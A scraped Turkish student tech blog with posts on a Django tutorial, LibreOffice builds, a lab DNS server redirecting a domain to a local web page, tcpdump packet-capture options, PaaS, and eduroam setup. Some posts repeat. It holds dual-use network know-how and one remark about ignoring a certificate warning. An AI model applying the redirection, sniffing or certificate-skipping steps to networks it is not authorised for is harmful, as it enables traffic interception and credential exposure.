Django, MTV mimarisi desenini kullanan, Python programlama dilini kullanan açık kaynaklı web frameworküdür. BSD lisansı ile lisanslanmıştır. Basit bir kuruluma sahiptir, detaylı hata raporu sayfaları ve genişletilebilir bir yönetim paneline sahiptir.
Django Nedir? sorusu bu sitede süper cevaplanmış okumanızı öneriyorum.
Öncelikle Django Nasıl Çalışıyor ? sorusuna cevap bulalım.
"Bir istek web sunucusundan Django’ya geldiğinde, ilk olarak sayfa adresini alır ve ne yapacağını çözmeye çalışır. Bu görev Django url çözümleyici(url resolver) tarafından yapılır. Burada çok fazla bürokrasi yoktur, Django url desenlerinin(patterns) bir listesini alır ve eşleştirmeye çalışır. Bu desenleri yukarıdan aşağıya doğru denetler ve birisi eşleştiğinde ilişkili olan View’a gelen isteği geçirir. Bir mektup ile bir postacı düşünelim, postacı sokakta yürüyor ve mektubun üzerinde yazan bina numarasına göre binalara göz atıyor, doğru numaraya geldiğinde mektubu oraya koyuyor. Django url çözümleyici de aynen böyle çalışıyor.
Görünüm(View) katmanına gelince; tüm ilginç şeyler burada meydana gelir. Bilgi aramak için veritabanına bakabilirsiniz veya kullanıcı verilerinde bir şeyleri değiştirmek isteyebilirsiniz. Örneğin bir profil sayfasında işinizin açıklamasını değiştirdiğinizde, View iş tanımını günceller ve size bir mesaj gönderir, sonrada şablonlar(templates) aracılığıyla bir çıktı oluşturup kullanıcının tarayıcısına gönderebilirsiniz."
Burası alıntıdır. Çok güzel açıklama yapıldığı için bunu paylaşmak istedim.
Django ile ufak bir blog yapmayı denedim dün gece, gidişat yolumu ve detaylı kullandığım kaynakları paylaşacağım tabiki github reposunun linkini de. Django'ya olan sevgim bu sene bir dersimizde hayata geçirdiğimiz OBS(Öğrenci Bilgi Sistemi)de kullanmamız ve birçok kolaylığını görmem ile başladı.😊
Kurulum yapmamız gerekenler:
-Python(version 3.4.3)
Ubuntu : $ python3 --version ile python sürümünü öğrenebilirsiniz.
Eğer 3.4'ten düşük bir sürüm yüklü ise $sudo apt-get install python3.4 komutu ile kurulum yapabilirsiniz.
-Bir "virtualenv" kurulumu yapmamız gerekiyor. [Virtual environment(Sanal Ortam)]
$mkdir django
$cd django/
$virtualenv -p python3 myvenv
$source myvenv/bin/activate
(myvenv) ~/django$
(myvenv) ~/django$ pip install django==1.10
şeklinde bir görünüm oluşacaktır.
-Git yüklemek gerekiyor.
-Bir kod düzenleyicisi yükleyin.(Atom, SublimeText vs.)
İlk Blogumuz !
(myvenv) ~/django$ django-admin startproject mysite .
(myvenv) ~/django$ python manage.py runserver
dediğimizde browserımıza http://127.0.0.1:8000/ yazdığımız It Worked! yazısını göreceğiz. İlk çalışan Django sayfamızı oluşturmuş olduk.
Az önce projemizi oluşturduk. Şimdide uygulamamızı oluşturacağız.
(myvenv) ~/django$ python manage.py startapp myblog
Kurulumu ve proje oluşturulum aşaması gerçekten çok eğlenceli ve kolay. Bundan sonra modelleri belirlemek gerekiyor. Modeller için veritabanında tablo oluşturmak diğer adımımız. View oluşturmak, template'leri oluşturmak, CSS ile blogu güzelleştirmek (bu kısımda bana yardımcı olduğu için Ufuk Doğan'a teşekkür ederim.) adımlarından sonra blogumuz oluşmuş bulunuyor.
Tüm adımlarını uygulayarak süper öğretici bu siteyi yazanların emeğine sağlık gerçekten.
Blogun bitmiş hali Github adresimde: Django-Blog
Kolay gelsin 😍
30 Ocak 2017 Pazartesi
16 Ocak 2017 Pazartesi
"File not recognized: File truncated" Hatası Nasıl Giderilir?
Bu hata LibreOffice çalışmalarım için derleme yaparken karşılaştığım bir hata oldu.
- Bu hatanın sebebi kaynaktan bir şey derlerken, derleme sırasında bir kaza olduğunu ve linkerin mutlu olmadığını belirten bozuk bir .o uzantılı dosya yazıldığı anlamına geliyor.
İLK ADIM : Kaynaktan .o dosyasını silin ve tekrar derleme yapın.
Ben ooxmlexport/ dizinine giderek içindeki tüm ooxmlexport.o, ooxmlexport1.o, ...,ooxmlexport9.o' dosyalarını sildim. (#rm -rf dosya_adı)
Ve yeniden #make işlemi yaptığımda yani derlemeye başladığımda hiçbir sorun ile karşılaşmadım.
Bu çözüm yolu, sorununuza çare olmazsa cache temizlemek ile ilgili bir çözüm yolu daha var. Bana yardımcı olan kaynak sayfaların linkini aşağıya bırakıyorum.
If you don't know Turkish, the source you can look at 😆 :
-How to fix "file not recognised: File truncated"
-file not recognized: File truncated
Kolay gelsin. :)
10 Kasım 2016 Perşembe
LibreOffice'e Nasıl Katkı Verilir ?
Bu sene son sınıf öğrencisi olarak bitirme projemde LibreOffice'e katkıda bulunacağım. Daha önce süperli bir grup bunun üzerine güzel şeyler yaptılar. Buradan ulaşabilirsiniz.
Bu yazımda LibreOffice'e katkı vermeyi düşünenler için başlangıçta yapmaları gerekenleri anlatacağım.
Bu yazımda LibreOffice'e katkı vermeyi düşünenler için başlangıçta yapmaları gerekenleri anlatacağım.
- İlk adım olarak Geliştirici listesine üye olmamız gerekiyor.
- LibreOffice ekibi hata takip sistemi için bugzilla kullanmaktadır. Hataları görebilmek ve hata kaydı girebilmek için bugzilla'ya üye olmamız gerekiyor.
- Bunları yaptıktan sonra artık bilgisayarımıza LibreOffice'in kaynak kodunu indirip, derleme aşamasına geçebiliriz.
~Bağımlılıkların Kurulması
$ sudo apt-get build-dep libreoffice
~Kaynak Kodun İndirilmesi
$ git clone git://anongit.freedesktop.org/libreoffice/core libreoffice
$ cd libreoffice
~Betik dosyamız hatasız çalışıyor mu ?
$ ./autogen.sh
~Derleme işlemi
$ make -j(çekirdek_sayisi)
NOT : Derleme işlemi uzun sürüyor, benim bilgisayarımda iki buçuk saat sürdü ama altı, yedi saat süren derlemelerde olabiliyor.
~Derlemeden sonra Writer'ı ya da Calc'ı çalıştırıp LibreOffice5'in düzgün çalıştıp, çalışmadığına bakalım
$ instdir/program/soffice --writer
$ instdir/program/soffice --calc
- Derleme işlemimizde bittikten sonra ilk kez yama gönderenler için öncelikle bir Feragatname göndermemiz gerekiyor. Bu Feragatname için
libreoffice@lists.freedesktop.org adresine :
Konu :
<your name> license statement
İçerik :
" All of my past & future contributions to LibreOffice may be licensed under the MPLv2/LGPLv3+ dual license."
olacak şekilde bir mail atmamız gerekiyor.
- Yamalarımızı Gerrit üzerinden yolluyoruz. Öncelikle üye olmalıyız.
- Gerrit kullanmak için
$ ./logerrit setup
Bu komuttan sonra /home/(username)/.ssh/id_rsa.pub olarak oluşan dosyamızı Gerritte Ayarlar(Settings) kısmından SSH Public Keys alanına ekliyoruz.
$ ./logerrit test
Bu komut sorunsuz çalışıyor ise Gerrit aracını kullanarak yama gönderebiliriz.
YAMA GÖNDERİRKEN
$ git checkout -b <newbranchname>
$ git add <filename>
$ git commit -m "tdf#<bug_id>"
~Burada yama gönderirken yeni bir dal oluşturduk. Değişiklik yaptığımız dosyayı ekledik ve commitlerken bug numarasını da commitimize ekledik.
~Son olarak commit'imizi Gerrit'e göndereceğiz
$ ./logerrit submit master
- Geliştirici listesine isim eklemek son aşamamız.
**Linux makinelerde derleme yaparken hangi aşamaları izleyeceğimiz şu sayfada ayrıntılı olarak anlatılmış. Buraya bırakıyorum.
**Gerrit aracınında nasıl kullanılacağı şu sayfada ayrıntılı olarak anlatılmış. Onuda buraya bırakıyorum.
Öncelikle öğrenme aşamasında olduğum için bana sonrada size şimdiden kolay gelsin. :))
1 Kasım 2016 Salı
Ubuntu'da DNS Server Kurulumu
Öncelikle DNS(Domain Name Server): Alan adlarının hangi IP adresine bağlı olduğunu öğrenmemize yarayan harikalı bir sistem.
Bugün girdiğimiz bir sitenin, görüntüleneceği IP adresini değiştirerek nasıl müthişli yerlere yönlendirilebileceğimizi açıklayacağım. (Sonu müthişli bitiyor.)
Ben bu uygulamada kendi bilgisayarımı DNS Server olarak kullanıcam, yönlendirmek istediğim adresleri kendi bilgisayarımda yapılandıracağım. Ve Sanal Makineye kurduğum Ubuntu(14.04 LTS)yuda client(istemci) olarak kullanıp, kendi DNS Server'mdaki siteye bağlanmaya çalışacağım.
Kendi Bilgisayarımda
1.ADIM : DNS Server Kurmak
# apt-get install bind9 bind9utils rblcheck
Yapılandırma:
# vim /etc/bind/named.conf.default-zones dosyasına
zone "yazilimyazari.com" IN {
type master;
file "/etc/bind/yazilimyazari.zone";
allow-update { none ; };
};
yazarak kayıt ediyoruz.
2.ADIM: DNS Server'a Domainleri ve IPlerini Kaydetmek
# vim yazilimyazari.zone dosyası oluşturuyoruz.
$TTL 86400
@ IN SOA ns1.yazilimyazari.com. root.yazilimyazari.com. (
2016110111 ;Serial (yil/ay/gün/seriNo yazılmalı)
3600 ;Refresh
1800 ;Retry
604800 ;Expire
86400 ;Minimum TTL
)
; NS sunucularini belirtiyoruz:
IN NS ns1.yazilimyazari.com.
; NS'lere ait kayitlar. (bu domain ayni zamanda ana zone oldugundan ns1 ve ns2'yi de tanimliyoruz.):
ns1 IN A 192.168.56.1 ;(Web Server IP'si)
; ve diger tum kayitlar.
@ IN A 192.168.56.1 ;(Web Server IP'si)
www IN CNAME @
3.ADIM : DNS Server'ı Yeniden Başlatmak
$ sudo service bind9 restart
-- DNS Server Kurulumu Bitti ---
4.ADIM : Web Server Kurulumu Yapmak
**Domainleri localimize yönlendireceksek web server kurulumu yaparız.
Apache ya da nginx kurulumu :)
# apt-get install nginx
#service nginx restart
VEYA
# apt-get install apache2
#/etc/init.d/apache2 restart
-- Web Server Oluşturduk --
Sanal Makinemde
$ sudo vim /etc/resolv.conf dosyasına giderek DNS Server'n adresini yazıyoruz.
nameserver 192.168.56.1
$ sudo vim /etc/dhcp/dhclient.conf
...
#prepend domain-name-servers 127.0.0.1;
Yukarıdaki yorum satırını açıp 127.0.0.1 yerine 192.168.56.1 yazıyoruz. Böylelikle DNS Server olarak 192.168.56.1 IPsi kullanılsın diyoruz.
**NOT : Bu ayarlardan sonra DNS önbelleği(cache) temizlenmezse, ayar değişikliklerinden önce girilen siteler için alınmış dns cevapları cache'de saklanır ve tekrar erişilmek istenildiğinde yeni yapılandırdığımız ayarlardaki dns server'daki değilde, önceden kullanılan dns server'daki ip adresleri geçerli olur. Bu yüzden yeni dns yapılandırmalarından sonra:
$ sudo /etc/init.d/dns-clean restart
komutu ile dns cache'ini temizliyoruz.
Daha sonra ağımızın yeni ayarlarla çalışabilmesi için :
$ sudo /etc/init.d/networking restart
komutunu kullanıyoruz.
Bunları yapmazsak modemdeki DHCP ayarlarındaki DNS sunucu IPsi kullanılır.
Şimdi client(sanal makineyi ben client olarak kullandım)da gerçekleşen olaylar :
1 - Kullanıcı tarayıcıya domain girer.
2 - Tarayıcı domainin IPsini sorgulamak için DNS Server Kontrolü yapar.
3 - Bu kontrolde hangi DNS Server adresinden sorgulanacağına bakar,
EĞER Client bilgisayarında Özel DHCP ayarları mevcutsa bunları kullanır,
DEĞİLSE Modem üzerindeki DHCP ayarları geçerli olur.
Ve iki yöntemden birisiyle bulduğu DNS Server Adresinde domaini sorgular.
4 - DNS Sunucusu yanıt üretir ve domain'e ait IP adresi bulunuyorsa IP'yi geri döndürür, bulunmuyorsa hata döndürür. (SERVFAIL vb.)
Döndürdüğü IP adresi domaine tanımlı web serverın ip adresidir.
5 - Browser DNS Sunucusundan aldığı IP adresine Request(İstek) oluşturarak web server'dan response(cevap) alır. Bu isteği client(istemci) için render eder.
Ve son olarak client'da(sanal makinemde) browsera yazilimyazari.com yazınca:
Sanal makinemde yazilimyazari.com yazdığımda süperli şeylerle karşılaşmamızın sebebi localhostumda bulunan index.html dosyam. :)
İçeriğini buraya bırakıyorum :
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>DNS Ayarları</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<style type="text/css">
body
{
margin: 0 auto;
text-align: center;
}
</style>
</head>
<body>
<p><img src="http://i.hizliresim.com/40BM1A.jpg" alt="Nereye Yönlenecekler?"></p>
<p class="lead">#dnsolusturmakeyfisi #ablandnsbeybisi #nereyeyonlenecekler #icliklergiyilsin</p>
</body></html>
Bugün girdiğimiz bir sitenin, görüntüleneceği IP adresini değiştirerek nasıl müthişli yerlere yönlendirilebileceğimizi açıklayacağım. (Sonu müthişli bitiyor.)
Ben bu uygulamada kendi bilgisayarımı DNS Server olarak kullanıcam, yönlendirmek istediğim adresleri kendi bilgisayarımda yapılandıracağım. Ve Sanal Makineye kurduğum Ubuntu(14.04 LTS)yuda client(istemci) olarak kullanıp, kendi DNS Server'mdaki siteye bağlanmaya çalışacağım.
Kendi Bilgisayarımda
1.ADIM : DNS Server Kurmak
# apt-get install bind9 bind9utils rblcheck
Yapılandırma:
# vim /etc/bind/named.conf.default-zones dosyasına
zone "yazilimyazari.com" IN {
type master;
file "/etc/bind/yazilimyazari.zone";
allow-update { none ; };
};
yazarak kayıt ediyoruz.
2.ADIM: DNS Server'a Domainleri ve IPlerini Kaydetmek
# vim yazilimyazari.zone dosyası oluşturuyoruz.
@ IN SOA ns1.yazilimyazari.com. root.yazilimyazari.com. (
2016110111 ;Serial (yil/ay/gün/seriNo yazılmalı)
3600 ;Refresh
1800 ;Retry
604800 ;Expire
86400 ;Minimum TTL
)
; NS sunucularini belirtiyoruz:
IN NS ns1.yazilimyazari.com.
; NS'lere ait kayitlar. (bu domain ayni zamanda ana zone oldugundan ns1 ve ns2'yi de tanimliyoruz.):
ns1 IN A 192.168.56.1 ;(Web Server IP'si)
; ve diger tum kayitlar.
@ IN A 192.168.56.1 ;(Web Server IP'si)
www IN CNAME @
3.ADIM : DNS Server'ı Yeniden Başlatmak
$ sudo service bind9 restart
-- DNS Server Kurulumu Bitti ---
4.ADIM : Web Server Kurulumu Yapmak
**Domainleri localimize yönlendireceksek web server kurulumu yaparız.
Apache ya da nginx kurulumu :)
# apt-get install nginx
#service nginx restart
VEYA
# apt-get install apache2
#/etc/init.d/apache2 restart
-- Web Server Oluşturduk --
Sanal Makinemde
$ sudo vim /etc/resolv.conf dosyasına giderek DNS Server'n adresini yazıyoruz.
nameserver 192.168.56.1
$ sudo vim /etc/dhcp/dhclient.conf
...
#prepend domain-name-servers 127.0.0.1;
....
**NOT : Bu ayarlardan sonra DNS önbelleği(cache) temizlenmezse, ayar değişikliklerinden önce girilen siteler için alınmış dns cevapları cache'de saklanır ve tekrar erişilmek istenildiğinde yeni yapılandırdığımız ayarlardaki dns server'daki değilde, önceden kullanılan dns server'daki ip adresleri geçerli olur. Bu yüzden yeni dns yapılandırmalarından sonra:
$ sudo /etc/init.d/dns-clean restart
komutu ile dns cache'ini temizliyoruz.
Daha sonra ağımızın yeni ayarlarla çalışabilmesi için :
$ sudo /etc/init.d/networking restart
komutunu kullanıyoruz.
Bunları yapmazsak modemdeki DHCP ayarlarındaki DNS sunucu IPsi kullanılır.
Şimdi client(sanal makineyi ben client olarak kullandım)da gerçekleşen olaylar :
1 - Kullanıcı tarayıcıya domain girer.
2 - Tarayıcı domainin IPsini sorgulamak için DNS Server Kontrolü yapar.
3 - Bu kontrolde hangi DNS Server adresinden sorgulanacağına bakar,
EĞER Client bilgisayarında Özel DHCP ayarları mevcutsa bunları kullanır,
DEĞİLSE Modem üzerindeki DHCP ayarları geçerli olur.
Ve iki yöntemden birisiyle bulduğu DNS Server Adresinde domaini sorgular.
4 - DNS Sunucusu yanıt üretir ve domain'e ait IP adresi bulunuyorsa IP'yi geri döndürür, bulunmuyorsa hata döndürür. (SERVFAIL vb.)
Döndürdüğü IP adresi domaine tanımlı web serverın ip adresidir.
5 - Browser DNS Sunucusundan aldığı IP adresine Request(İstek) oluşturarak web server'dan response(cevap) alır. Bu isteği client(istemci) için render eder.
Ve son olarak client'da(sanal makinemde) browsera yazilimyazari.com yazınca:
Sanal makinemde yazilimyazari.com yazdığımda süperli şeylerle karşılaşmamızın sebebi localhostumda bulunan index.html dosyam. :)
İçeriğini buraya bırakıyorum :
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>DNS Ayarları</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<style type="text/css">
body
{
margin: 0 auto;
text-align: center;
}
</style>
</head>
<body>
<p><img src="http://i.hizliresim.com/40BM1A.jpg" alt="Nereye Yönlenecekler?"></p>
<p class="lead">#dnsolusturmakeyfisi #ablandnsbeybisi #nereyeyonlenecekler #icliklergiyilsin</p>
</body></html>
"DNS nasıl çalışır?" burada çok güzel anlatılmış. :)
29 Ekim 2016 Cumartesi
Tcpdump Kullanımı
Daha önce Ubuntu üzerine tcpdump kurulumunu anlatmıştım. Şimdi de bu tcpdump nedir, ne değildir, hangi parametreler ile çalışır ufak ufak anlatmaya çalışacağım. Hem belki meraklılara bir faydam olur hem de kendim tekrar etmiş olurum en süperlisinden.
Öncelikle tcpdump, Linux/UNIX sistemlerde de-facto paket yakalama ve analiz aracıdır. Bizim makinemize gelen paketleri görebiliriz. Sadece bakarak ayırt etmesi zordur. Kendisine gelen broadcast trafiğini gösterir.
Nmap ile açık portlara bakarken, bir bilgisayara dışarıdan hangi paketler geliyor diye tcpdump'ı kullanırız.
=> Bir makineden, o makineye servis veren başka bir makineye bağlanılamıyor diyelim. Sizin çalıştırdığınız bir servise dışarıdan ulaşılamadığını söylenecek. Aynı şirketten biri ya da sattığınız biri olabilir.
-Kendimiz ssh ile bağlandık, çalışıyor. Sonra karşı taraf o makineye ulaşabiliyor mu diye takip ederek devam ederiz. Bu durumda bir servise kullanıcı bağlanamıyorsa, LOGlara bakayım diyemeyiz, çünkü adı üstünde LOG bağlandıktan sonra oluşan sonuçlardır. Ozaman paket seviyesinde gönderilenleri incelememiz gerekir. Bunu da TCPDUMP kullanarak yapabiliriz.
#tcpdump Bütün ethernet kartlarımıza, bütün IP'lerden gelen, hangi protokolden ve hangi porttan gelirse gelsin, tüm paketleri bu komut ile dinleriz.
#tcpdump -i wlan0 istediğimiz arabirimi dinlemek istiyorsak.
#tcpdump -D Sistemimizde bulunan ve tcpdump tarafından dinlenebilecek arabirimlerin listesini verir.
-n : DNS isimlerinin(hostname) çözümlenmesini istemiyorsak,
-nn : Hem dns isimlerinin hem de portların çözümlenmesi yapılmayacaksa (telnet yerine 23 yazar.),
-t : Paketin hangi zaman aralığında yakalandığını göstermez.
-E : IPSec'i çözümleyip, key olursa gösterir.
#tcpdump -w dosya_ismi : Paketleri kayıt eder. (Ama okunamayacak şekilde)
#tcpdump -r dosya_ismi : Kayıt ettiğimiz dosyayı okunabilir hale getirir.
-c : Yakalanacak paket sayısını belirlemeyi sağlar.
#tcpdump -i eth0 -c5 : eth0'dan gelen 5 paketi gösterir.
-s : Yakalanacak paket boyutunu belirlemeyi sağlar.
#tcpdump -s 1500
-v : Detaylı LOGlama yapar. (TTL ve ID değerleri ile ilgili bilgi edinilir.)
-p : Promise moddan çıkılmasını sağlar. (Promise mod, ethernet kartımızın kendisine fiziken ulaşmış, paketlerin hedef IP adresi kendisi olmasa dahi paketleri alır .)
#tcpdump host 10.0.0.21 : Belirlediğimiz bir hosta ait paketin izlenmesi istenirse. (makine_adi da olur.)
#tcpdump dst host 10.0.0.21 : Hedef host belirtilir.
#tcpdump src host 10.0.0.21 : Kaynak host belirtilir.
#tcpdump src host 10.1.0.59 and dst host 10.1.0.1 : Aynı anda belirtebiliriz.
#tcpdump port 23 : Belirlediğimiz portu dinler.
#tcpdump dst port 23 : Hedef port belirtiriz.
#tcpdump src port 23 : Kaynak portu belirtiriz.
#tcpdump icmp,tcp,udp : Protokollere göre paketleri dinler.
#tcpdump portrange 21-23 : Port aralığına göre tarama yapar.
#tcpdump less 32 : 32 bytetan daha küçük olan paketleri dinler.
#tcpdump greater 64 : 64 bytetan daha büyük paketleri dinler.
Yukarıdaki sitelerde daha ayrıntılı bir şekilde bilgiye erişebilirsiniz. Umarım faydalı olur.
Kolay gelsin. :)
Öncelikle tcpdump, Linux/UNIX sistemlerde de-facto paket yakalama ve analiz aracıdır. Bizim makinemize gelen paketleri görebiliriz. Sadece bakarak ayırt etmesi zordur. Kendisine gelen broadcast trafiğini gösterir.
Nmap ile açık portlara bakarken, bir bilgisayara dışarıdan hangi paketler geliyor diye tcpdump'ı kullanırız.
=> Bir makineden, o makineye servis veren başka bir makineye bağlanılamıyor diyelim. Sizin çalıştırdığınız bir servise dışarıdan ulaşılamadığını söylenecek. Aynı şirketten biri ya da sattığınız biri olabilir.
-Kendimiz ssh ile bağlandık, çalışıyor. Sonra karşı taraf o makineye ulaşabiliyor mu diye takip ederek devam ederiz. Bu durumda bir servise kullanıcı bağlanamıyorsa, LOGlara bakayım diyemeyiz, çünkü adı üstünde LOG bağlandıktan sonra oluşan sonuçlardır. Ozaman paket seviyesinde gönderilenleri incelememiz gerekir. Bunu da TCPDUMP kullanarak yapabiliriz.
#tcpdump Bütün ethernet kartlarımıza, bütün IP'lerden gelen, hangi protokolden ve hangi porttan gelirse gelsin, tüm paketleri bu komut ile dinleriz.
#tcpdump -i wlan0 istediğimiz arabirimi dinlemek istiyorsak.
#tcpdump -D Sistemimizde bulunan ve tcpdump tarafından dinlenebilecek arabirimlerin listesini verir.
-n : DNS isimlerinin(hostname) çözümlenmesini istemiyorsak,
-nn : Hem dns isimlerinin hem de portların çözümlenmesi yapılmayacaksa (telnet yerine 23 yazar.),
-t : Paketin hangi zaman aralığında yakalandığını göstermez.
-E : IPSec'i çözümleyip, key olursa gösterir.
#tcpdump -w dosya_ismi : Paketleri kayıt eder. (Ama okunamayacak şekilde)
#tcpdump -r dosya_ismi : Kayıt ettiğimiz dosyayı okunabilir hale getirir.
-c : Yakalanacak paket sayısını belirlemeyi sağlar.
#tcpdump -i eth0 -c5 : eth0'dan gelen 5 paketi gösterir.
-s : Yakalanacak paket boyutunu belirlemeyi sağlar.
#tcpdump -s 1500
-v : Detaylı LOGlama yapar. (TTL ve ID değerleri ile ilgili bilgi edinilir.)
-p : Promise moddan çıkılmasını sağlar. (Promise mod, ethernet kartımızın kendisine fiziken ulaşmış, paketlerin hedef IP adresi kendisi olmasa dahi paketleri alır .)
#tcpdump host 10.0.0.21 : Belirlediğimiz bir hosta ait paketin izlenmesi istenirse. (makine_adi da olur.)
#tcpdump dst host 10.0.0.21 : Hedef host belirtilir.
#tcpdump src host 10.0.0.21 : Kaynak host belirtilir.
#tcpdump src host 10.1.0.59 and dst host 10.1.0.1 : Aynı anda belirtebiliriz.
#tcpdump port 23 : Belirlediğimiz portu dinler.
#tcpdump dst port 23 : Hedef port belirtiriz.
#tcpdump src port 23 : Kaynak portu belirtiriz.
#tcpdump icmp,tcp,udp : Protokollere göre paketleri dinler.
#tcpdump portrange 21-23 : Port aralığına göre tarama yapar.
#tcpdump less 32 : 32 bytetan daha küçük olan paketleri dinler.
#tcpdump greater 64 : 64 bytetan daha büyük paketleri dinler.
Yukarıdaki sitelerde daha ayrıntılı bir şekilde bilgiye erişebilirsiniz. Umarım faydalı olur.
Kolay gelsin. :)
28 Ekim 2016 Cuma
( PaaS) : Platform As A Service
PaaS uygulama dizaynı, uygulama geliştirme, hosting, test işlemleri için ihtiyacınız olan platformu sağlar. Tabi ki bu platformu cloud işlem vasıtası ile hızlı bir şekilde yapılandırabilir ve kendi ihtiyacınız doğrultusunda anında işlem yapacak hale getirebilirsiniz.
Eski modelde geliştirici kullanacağı platformu yapılandırmak, güncellemek ve sürekli ayakta tutmak zorundaydı. Bu durumda geliştirmeye zaman kalmıyordu. PaaS sayesinde arkaplanda dönen işlerin hiçbiri ile ilgilenmeniz gerekmiyor, sadece kendi yapmanız gereken kısımla ilgileniyorsunuz.
Bunun IaaS ile farkı nedir diyebilirsiniz. Örneğin Lamp üzerinde uygulama geliştirmeniz gerekiyor. IaaS sağlayıcısından hizmet alıp LAMP ortamını kendiniz yaratıp, güncelleyip, çeki düzen verirsiniz yani kısaca tüm platform sorumluluğu sizde olur. Ama PaaS'da zaten hali hazırda LAMP platformu sunan bir sağlayıcıdan birkaç işlem ile üzerinde uygulama geliştirmeye açık bir hizmet alırsınız yani paltformu ayarlamakla uğraşmaz patlatmadan direkt olarak kod yazmaya başlayabilirsiniz.
"Platform As A Service" da artık sadece networking vs değil işletim sisteminden tutun, runtime'lara ve SQL'inize kadar herşey kurulu geliyor. Kurulu olarak gelmenin yanısıra tüm bu altyapının bakımı, yönetimi servis sağlayıcı tarafından sağlanıyor. Artık benim sunucu satın almam, network ayarlarını yapmam, yönetmem, sanallaştırma çözümlerini seçmem, yönetmem, işletim sistemi lisanslarını almam, işletim sistemini ayarlamam, yönetmem, runtime kurulumlarını yapıp güvenlik ayarlarını yapmam gibi hiçbir konuyla en ufak bir ilişkim kalmıyor. Elimdeki uygulamamı ve datamı alıp direk bana sağlanan PAAS ortamına koyup işimi bitiriyorum.
Kısaca PaaS size altyapı üzerine kurulmuş hazır bir platform sunar.
Projemizi sekiz arkadaş birlikte oluşturmaya çalışıyoruz. Öncelikle görev dağılımı yaptık. Öncelikle projedeki Database kısmı için Modelleri ortaya çıkardık. Bunlar Student, Register, Management, Faculty, Department, Lecturer, Course-Offered Course, Semester-Education Plan'dır.
- OBS projemizde benim görevim Faculty Modelinin Database kısmını, API'sini ve arayüzünü oluşturmaktır.
Biraraya gelerek Django kullanarak modelleri oluşturduk ve modelleri Github'a commitledik. Faculty Modelini oluştururken Django'da :
$ django-admin.py startapp obs_faculty
$ vim models.py
#! -*- coding:utf-8 -*-
from django.db import models
# Create your models here.
class Faculty(models.Model):
faculty_name = models.CharField(max_length=50)
faculty_code = models.CharField(max_length=20)
faculty_address = models.CharField(max_length=220)
faculty_tel = models.CharField(max_length=12)
faculty_fax = models.CharField(max_length=12)
def __str__(self):
return self.faculty_name
class Meta:
verbose_name ="Fakülte"
verbose_name_plural="Fakülteler"
$ vim admin.py
from django.contrib import admin
from .models import Faculty
admin.site.register(Faculty)
$ vim setting.py
# Application definition
INSTALLED_APPS = [
'obs.obs_faculty',
]
# Application definition
INSTALLED_APPS = [
'obs.obs_faculty',
]
$ python manage.py makemigrations
$ python manage.py migrate
$ python manage.py runserver
Django version 1.9.7, using settings 'obs.settings'
Starting development server at http://127.0.0.1:8000/
Faculty Modelinin Github Linki : https://github.com/comuOBS/obs-api/tree/master/obs_faculty
Proje Github Linki : https://github.com/comuOBS
26 Ekim 2016 Çarşamba
Özgür Web Teknolojileri Günleri 2016
Bu sene altıncısı düzenlenen Özgür Web Teknolojileri Günleri, Boğaziçi Üniversitesi Güney Kampüs'de ücretsiz(herzamanki gibi) olarak düzenlendi.
Bu etkinliğe Özgür Yazılım gönüllüleri, meraklıları, Web uygulamaları geliştirenler, yönetenler, sistem ve ağ yöneticileri, üniversite öğrencileri ve bilişim sektöründe çalışan kısaca bu alana merakı olan herkes katılabilir, katılmalı.
Etkinlik programı süperdi. Birçok konuşmacıyı daha önceden takip ediyor ve yaptıklarından haberdardım zaten. Onları etkinlikte canlı canlı dinlemek çok güzel oldu.
Belgelendirme Güdümlü Geliştirme – Fatih Kadir Akın & Halil Kaya
Web Dünyasında Uluslararası Özgür Yazılım Fırsatları – Aybüke Özdemir
Elm Dili ile Fonksiyonel Programlama – Burak Can
Yukarıdaki fotoğraflar katıldığım birkaç oturumdan kareler. Etkinliğe katılanlar #owtg2016 hashtag'i ile twitterda paylaşımlar yaptılar.
Yeni insanlarla tanışmak ve daha önce yine bu etkinlikte ya da akademik bilişimde tanışmış olduğum arkadaşlarım ile görüşmek çok iyi geldi. Hem İstanbul'da güzel bir haftasonu geçirmiş oldum hem de harika şeyler hakkında fikir sahibi oldum.
Buarada stickerlar için Doğukan abiye teşekkür ediyorum. Ve onun youtube kanalını mutlaka takip etmenizi şiddetle öneriyorum. Çünkü sektörden birçok geliştirici ile sohbetleri yer alıyor, aydınlanmanızı sağlayan bir sohbete denk gelebilirsiniz. Buraya linki bırakıyorum.
Seneye sizde gelsenize ! :)
Ubuntu 14.04'de Wifi Simgesinin Olmaması
Bugün arkadaşımla kütüphanede çalışırken baktım bilgisayarında wifi simgesi yok, dedim "Nasıl ya ?". Daha sonra aman boşver bağlanıyorum internete demesi ile konuyu geçiştirirken Eduroam ayarlarınıda yapamıyorduk. Daha önce Eduroam ayarlarının nasıl yapılabileceğini anlatmıştım. Arkadaşımda da aşağıdaki aşamaya geldiğimizde hiçbir tuşa basılamıyordu.
Bir terminal(Ctrl+Alt+T) açıyoruz öncelikle :
$ sudo apt-get install indicator-applet indicator-network
yazıyoruz. Ve sistemimizi yeniden başlatıyoruz.

Böylece wifi simgesi gelmiş oldu. Hatta arkadaşımda üstüne birde Telegram simgesi göründü süperli oldu. Ubuntu'ya Telegram kurulumunu Hatice bu linkte anlatmış, lazım olur kullanırsınız diye buraya bırakıyorum onu da.
Buarada 42 bildirim gelmesi de, evrenin bize gönderdiği bir işaret olsa gerek. :) Kolay gelsin..
13 Ekim 2016 Perşembe
Ubuntu'da Eduroam Ayarları
Eduroam bağlantı ayarları yapılmadan önce sertifikaların bilgisayara yüklenmiş olması gereklidir. Sertifikaları, buradan yükleyebilirsiniz.
- Authentication, Protected EAP(PEAP) seçilir.
- Anonymous identity(Anonim Kimlik) kısmına kullanıcının e-posta adresi yazılır.
- PEAP version, Version 0 seçilir.
- Inner authentication(İç kimlik doğrulama) MSCHAPv2 olarak seçilir.
- Username(Kullanıcı Adı) kısmına kullanıcının e-posta adresi yazılır.
- Password(Parola) kısmına kullanıcının parolası girilir.
Connect dedikten sonra ekrana sertifika seçmediğimi bildiren mesaj geldi. Bunu Ignore dediğimde de eduroam ile bağlantı kurdum.
Ama daha sonra uygun sertifikayı seçerekte eduroama bağlantı sağladım.
12 Ekim 2016 Çarşamba
Metasploitable 2
Servisler : Backdoors (Arka Kapılar)
